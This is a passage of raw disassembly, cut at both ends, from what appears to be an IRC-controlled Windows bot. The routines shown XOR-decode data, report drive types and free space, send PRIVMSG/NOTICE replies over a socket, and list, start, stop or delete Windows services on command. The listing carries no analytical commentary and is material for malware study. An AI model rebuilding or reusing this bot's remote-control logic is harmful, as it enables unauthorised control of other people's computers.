sub_40B105+325j ... push [ebp+var_18] call ds:dword_43649C ; InternetCloseHandle push [ebp+var_48] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread sub_40B105 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B5F7 proc near ; CODE XREF: sub_40B105+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40B613 loc_40B603: ; CODE XREF: sub_40B5F7+1Aj mov dl, ds:byte_42ACDC xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40B603 locret_40B613: ; CODE XREF: sub_40B5F7+Aj retn sub_40B5F7 endp ; =============== S U B R O U T I N E ======================================= sub_40B614 proc near ; CODE XREF: sub_40D2E0+2A7Ep ; sub_40D2E0+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_417919 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40B614 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B62E proc near ; CODE XREF: sub_4049CD+458p ; sub_4049CD+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43A838 push 0 push edi call sub_415500 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40B653: ; CODE XREF: sub_40B62E+5Bj ; sub_40B62E+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4172F0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_417370 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40B691 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40B653 mov byte ptr [esi], 2Ch inc esi jmp short loc_40B653 ; --------------------------------------------------------------------------- loc_40B691: ; CODE XREF: sub_40B62E+4Bj dec esi mov eax, edi loc_40B694: ; CODE XREF: sub_40B62E+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40B6A3 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40B694 ; --------------------------------------------------------------------------- loc_40B6A3: ; CODE XREF: sub_40B62E+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40B62E endp ; =============== S U B R O U T I N E ======================================= sub_40B6AD proc near ; CODE XREF: sub_40B862+51p ; sub_40B862+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4364C8 ; GetDriveTypeA sub eax, 0 jz short loc_40B6F0 dec eax jz short loc_40B6EA dec eax dec eax jz short loc_40B6E4 dec eax jz short loc_40B6DE dec eax jz short loc_40B6D8 dec eax jz short loc_40B6D2 mov eax, offset word_4294E8 retn ; --------------------------------------------------------------------------- loc_40B6D2: ; CODE XREF: sub_40B6AD+1Dj mov eax, offset off_429D5C retn ; --------------------------------------------------------------------------- loc_40B6D8: ; CODE XREF: sub_40B6AD+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40B6DE: ; CODE XREF: sub_40B6AD+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40B6E4: ; CODE XREF: sub_40B6AD+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40B6EA: ; CODE XREF: sub_40B6AD+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40B6F0: ; CODE XREF: sub_40B6AD+Dj mov eax, offset aUnknown_0 ; "Unknown" retn sub_40B6AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6F6 proc near ; CODE XREF: sub_40B73E+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_436364 test eax, eax jz short loc_40B72B lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40B72B: ; CODE XREF: sub_40B6F6+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40B6F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B73E proc near ; CODE XREF: sub_409F1E+1F3p ; sub_40B862+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40B6F6 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40B81C mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40B81C mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40B81C push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_417960 push edx push eax call sub_40B62E pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_4159FA add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417960 push edx push eax call sub_40B62E pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_4159FA add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417960 push edx push eax call sub_40B62E pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_4159FA add esp, 10h pop ebx jmp short loc_40B84E ; --------------------------------------------------------------------------- loc_40B81C: ; CODE XREF: sub_40B73E+2Cj ; sub_40B73E+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_415480 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_415480 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_415480 pop ecx pop ecx loc_40B84E: ; CODE XREF: sub_40B73E+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40B73E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B862 proc near ; CODE XREF: sub_40B934+17p ; sub_40B934+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40B73E push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4158A0 add esp, 10h test eax, eax jnz short loc_40B8D5 push ebx push ebx call sub_40B6AD pop ecx push eax push offset unk_429DBC lea eax, [ebp+var_500] push 200h push eax call sub_4159FA add esp, 14h jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8D5: ; CODE XREF: sub_40B862+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40B6AD pop ecx push eax push offset unk_429D70 lea eax, [ebp+var_500] push 200h push eax call sub_4159FA add esp, 20h loc_40B909: ; CODE XREF: sub_40B862+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 lea eax, [ebp+var_500] push eax call sub_40A5B3 add esp, 18h pop edi pop esi pop ebx leave retn sub_40B862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B934 proc near ; CODE XREF: sub_40D2E0+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40B955 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B862 add esp, 10h jmp short loc_40B9B6 ; --------------------------------------------------------------------------- loc_40B955: ; CODE XREF: sub_40B934+9j push esi push edi push ebx push ebx call ds:dword_4363D8 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_415D2F pop ecx mov edi, eax push edi push esi call ds:dword_4363D8 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40B9AD loc_40B979: ; CODE XREF: sub_40B934+77j push offset aA_0 ; "A:\\" push esi call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40B99C push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B862 add esp, 10h loc_40B99C: ; CODE XREF: sub_40B934+54j push esi call sub_415C80 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40B979 loc_40B9AD: ; CODE XREF: sub_40B934+43j push edi call sub_415DE1 pop ecx pop edi pop esi loc_40B9B6: ; CODE XREF: sub_40B934+1Fj pop ebx pop ebp retn sub_40B934 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9B9 proc near ; DATA XREF: sub_40CB17+11o var_2A4 = dword ptr -2A4h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_43BECC call ds:dword_436500 ; closesocket call sub_4150F5 call ds:dword_4363C8 ; WSACleanup call ds:dword_4363C8 ; WSACleanup mov ebx, ds:dword_422054 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415500 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_415500 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_4325D8 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_422058 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:off_422060 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_422104 ; CreateProcessA test eax, eax jz short loc_40BA7E push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:off_422074 call esi ; sub_4DB3D5 push [ebp+var_C] call esi ; sub_4DB3D5 loc_40BA7E: ; CODE XREF: sub_40B9B9+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43A870 mov eax, [esp+2A4h+var_2A4] mov large fs:0, eax add esp, 8 push edi call ds:off_42212C pop edi pop esi pop ebx sub_40B9B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAA1 proc near ; CODE XREF: sub_40D168+3Dp ; sub_40D2E0+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41751F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4364B8 ; send leave retn sub_40BAA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAE7 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40BB02 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40BB02: ; CODE XREF: sub_40BAE7+14j push edi call sub_415C80 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_415C80 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_2 ; "%s" push esi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_429E9C push eax call sub_415480 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4364B8 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40BB85 push 7D0h call ds:dword_422054 ; Sleep locret_40BB85: ; CODE XREF: sub_40BAE7+91j leave retn sub_40BAE7 endp ; =============== S U B R O U T I N E ======================================= sub_40BB87 proc near ; CODE XREF: sub_40D2E0:loc_40F3F2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40BBDF lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_429EC0[esi] push edi push eax call sub_40BC01 add esp, 14h test eax, eax jnz short loc_40BBCF push edi push ds:off_429EBC[esi] push offset dword_429FEC loc_40BBBF: ; CODE XREF: sub_40BB87+56j mov esi, offset dword_43AF38 push esi call sub_415480 add esp, 10h jmp short loc_40BBFC ; --------------------------------------------------------------------------- loc_40BBCF: ; CODE XREF: sub_40BB87+2Aj push eax call sub_40BCA3 pop ecx push eax push edi push offset dword_429FB4 jmp short loc_40BBBF ; --------------------------------------------------------------------------- loc_40BBDF: ; CODE XREF: sub_40BB87+Cj lea eax, [eax+eax*2] mov esi, offset dword_43AF38 push ds:off_429EB8[eax*4] push offset dword_429F80 push esi call sub_415480 add esp, 0Ch loc_40BBFC: ; CODE XREF: sub_40BB87+46j mov eax, esi pop edi pop esi retn sub_40BB87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC01 proc near ; CODE XREF: sub_40BB87+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_43645C ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_40BC28 call ds:dword_42206C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40BC9D ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40BC01+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_436350 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_40BC48 call ds:dword_42206C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40BC95 ; --------------------------------------------------------------------------- loc_40BC48: ; CODE XREF: sub_40BC01+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40BC7B cmp eax, 3 jz short loc_40BC6C jle short loc_40BC8E cmp eax, 6 jg short loc_40BC8E lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_4363B8 ; ControlService jmp short loc_40BC82 ; --------------------------------------------------------------------------- loc_40BC6C: ; CODE XREF: sub_40BC01+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_436358 ; StartServiceA jmp short loc_40BC82 ; --------------------------------------------------------------------------- loc_40BC7B: ; CODE XREF: sub_40BC01+4Dj push esi call ds:dword_4363BC ; DeleteService loc_40BC82: ; CODE XREF: sub_40BC01+69j ; sub_40BC01+78j test eax, eax jnz short loc_40BC8E call ds:dword_42206C ; RtlGetLastWin32Error mov ebx, eax loc_40BC8E: ; CODE XREF: sub_40BC01+54j ; sub_40BC01+59j ... push esi call ds:dword_43636C ; CloseServiceHandle loc_40BC95: ; CODE XREF: sub_40BC01+45j push edi call ds:dword_43636C ; CloseServiceHandle pop esi loc_40BC9D: ; CODE XREF: sub_40BC01+25j mov eax, ebx pop edi pop ebx leave retn sub_40BC01 endp ; =============== S U B R O U T I N E ======================================= sub_40BCA3 proc near ; CODE XREF: sub_40BB87+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40BD58 jz loc_40BD51 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40BD1B jz short loc_40BD11 mov ecx, eax sub ecx, 3 jz short loc_40BD07 dec ecx dec ecx jz short loc_40BCFD dec ecx jz short loc_40BCF3 sub ecx, 51h jz short loc_40BCE9 sub ecx, 24h jnz loc_40BDCE ; default ; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BCE9: ; CODE XREF: sub_40BCA3+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BCF3: ; CODE XREF: sub_40BCA3+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BCFD: ; CODE XREF: sub_40BCA3+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD07: ; CODE XREF: sub_40BCA3+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD11: ; CODE XREF: sub_40BCA3+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD1B: ; CODE XREF: sub_40BCA3+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40BD4A dec ecx jz short loc_40BD43 dec ecx jz short loc_40BD3C dec ecx jnz loc_40BDCE ; default ; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD3C: ; CODE XREF: sub_40BCA3+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD43: ; CODE XREF: sub_40BCA3+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD4A: ; CODE XREF: sub_40BCA3+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD51: ; CODE XREF: sub_40BCA3+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD58: ; CODE XREF: sub_40BCA3+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40BDCE ; default ; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16 jz short loc_40BDBB lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40BDCE ; default ; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40BE0F[ecx] jmp off_40BDE7[ecx*4] ; switch jump loc_40BD7C: ; DATA XREF: _0:off_40BDE7o push offset aTheSpecifiedDa ; jumptable 0040BD75 case 7 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD83: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheServiceDepe ; jumptable 0040BD75 case 17 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD8A: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheServiceDe_0 ; jumptable 0040BD75 case 10 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD91: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheServiceHasB ; jumptable 0040BD75 case 0 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD98: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheSpecified_0 ; jumptable 0040BD75 case 2 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BD9F: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheServiceCoul ; jumptable 0040BD75 case 11 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BDA6: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheServiceHa_0 ; jumptable 0040BD75 case 14 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BDAD: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheRequested_1 ; jumptable 0040BD75 case 3 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BDB4: ; CODE XREF: sub_40BCA3+D2j ; DATA XREF: _0:off_40BDE7o push offset aTheServiceHasN ; jumptable 0040BD75 case 4 jmp short loc_40BDC0 ; --------------------------------------------------------------------------- loc_40BDBB: ; CODE XREF: sub_40BCA3+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40BDC0: ; CODE XREF: sub_40BCA3+41j ; sub_40BCA3+4Bj ... push offset dword_43A878 call sub_415480 pop ecx pop ecx jmp short loc_40BDE1 ; --------------------------------------------------------------------------- loc_40BDCE: ; CODE XREF: sub_40BCA3+36j ; sub_40BCA3+89j ... push eax ; default ; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_43A878 call sub_415480 add esp, 0Ch loc_40BDE1: ; CODE XREF: sub_40BCA3+129j mov eax, offset dword_43A878 retn sub_40BCA3 endp ; --------------------------------------------------------------------------- off_40BDE7 dd offset loc_40BD91 ; DATA XREF: sub_40BCA3+D2r dd offset loc_40BD98 ; jump table for switch statement dd offset loc_40BDAD dd offset loc_40BDB4 dd offset loc_40BD7C dd offset loc_40BD8A dd offset loc_40BD9F dd offset loc_40BDA6 dd offset loc_40BD83 dd offset loc_40BDCE byte_40BE0F db 0, 9, 1, 2 ; DATA XREF: sub_40BCA3+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE21 proc near ; CODE XREF: sub_40D2E0+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_43645C ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_40BE59: ; CODE XREF: sub_40BE21+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_436428 ; EnumServicesStatusA test eax, eax jnz short loc_40BE93 call ds:dword_42206C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_40BF47 loc_40BE93: ; CODE XREF: sub_40BE21+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40BF3E lea esi, [ebp+var_188] loc_40BEA4: ; CODE XREF: sub_40BE21+117j mov eax, [esi+8] dec eax jz short loc_40BEED dec eax jz short loc_40BEE6 dec eax jz short loc_40BEDF dec eax jz short loc_40BED8 dec eax jz short loc_40BED1 dec eax jz short loc_40BECA dec eax jz short loc_40BEC3 push offset aUnknown_1 ; " Unknown" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BEC3: ; CODE XREF: sub_40BE21+99j push offset aPaused_0 ; " Paused" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BECA: ; CODE XREF: sub_40BE21+96j push offset aPausing ; " Pausing" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BED1: ; CODE XREF: sub_40BE21+93j push offset aContinuing ; " Continuing" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BED8: ; CODE XREF: sub_40BE21+90j push offset aRunning ; " Running" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BEDF: ; CODE XREF: sub_40BE21+8Dj push offset aStoping ; " Stoping" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BEE6: ; CODE XREF: sub_40BE21+8Aj push offset aStarting ; " Starting" jmp short loc_40BEF2 ; --------------------------------------------------------------------------- loc_40BEED: ; CODE XREF: sub_40BE21+87j push offset aStopped ; " Stopped" loc_40BEF2: ; CODE XREF: sub_40BE21+A0j ; sub_40BE21+A7j ... lea eax, [ebp+var_20] push eax call sub_415480 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_415480 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40BEA4 loc_40BF3E: ; CODE XREF: sub_40BE21+77j cmp [ebp+var_8], ebx jnz loc_40BE59 loc_40BF47: ; CODE XREF: sub_40BE21+6Cj push [ebp+var_C] call ds:dword_43636C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40BE21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF5E proc near ; CODE XREF: sub_40D2E0:loc_40F422p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40BFF8 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40BF87 dec eax jnz short loc_40BFD8 push edi push 0 call sub_40C131 pop ecx pop ecx jmp short loc_40BFD4 ; --------------------------------------------------------------------------- loc_40BF87: ; CODE XREF: sub_40BF5E+18j cmp [ebp+arg_8], 0 jnz short loc_40BFC6 push 24h push edi call sub_417070 pop ecx test eax, eax pop ecx jnz short loc_40BFC6 push 57h pop eax loc_40BF9E: ; CODE XREF: sub_40BF5E+78j push eax call sub_40C925 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_43AB34 push ds:off_429EB8[eax*4] push offset dword_42A5B0 push esi call sub_415480 add esp, 14h jmp short loc_40C018 ; --------------------------------------------------------------------------- loc_40BFC6: ; CODE XREF: sub_40BF5E+2Dj ; sub_40BF5E+3Bj push [ebp+arg_8] push edi push 0 call sub_40C085 add esp, 0Ch loc_40BFD4: ; CODE XREF: sub_40BF5E+27j test eax, eax jnz short loc_40BF9E loc_40BFD8: ; CODE XREF: sub_40BF5E+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_43AB34 push ds:off_429EBC[eax*4] push offset dword_42A584 push esi call sub_415480 add esp, 10h jmp short loc_40C018 ; --------------------------------------------------------------------------- loc_40BFF8: ; CODE XREF: sub_40BF5E+Aj mov eax, [ebp+arg_0] mov esi, offset dword_43AB34 lea eax, [eax+eax*2] push ds:off_429EB8[eax*4] push offset dword_42A550 push esi call sub_415480 add esp, 0Ch loc_40C018: ; CODE XREF: sub_40BF5E+66j ; sub_40BF5E+98j mov eax, esi pop edi pop esi pop ebp retn sub_40BF5E endp ; =============== S U B R O U T I N E ======================================= sub_40C01E proc near ; CODE XREF: sub_4143F6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40C02B xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C02B: ; CODE XREF: sub_40C01E+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_422130 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test ds:byte_43AD34, 1 mov ebp, eax jnz short loc_40C068 or ds:byte_43AD34, 1 lea eax, [ebp+1] push eax call sub_4167A5 pop ecx mov ds:dword_43AAD4, eax loc_40C068: ; CODE XREF: sub_40C01E+32j push 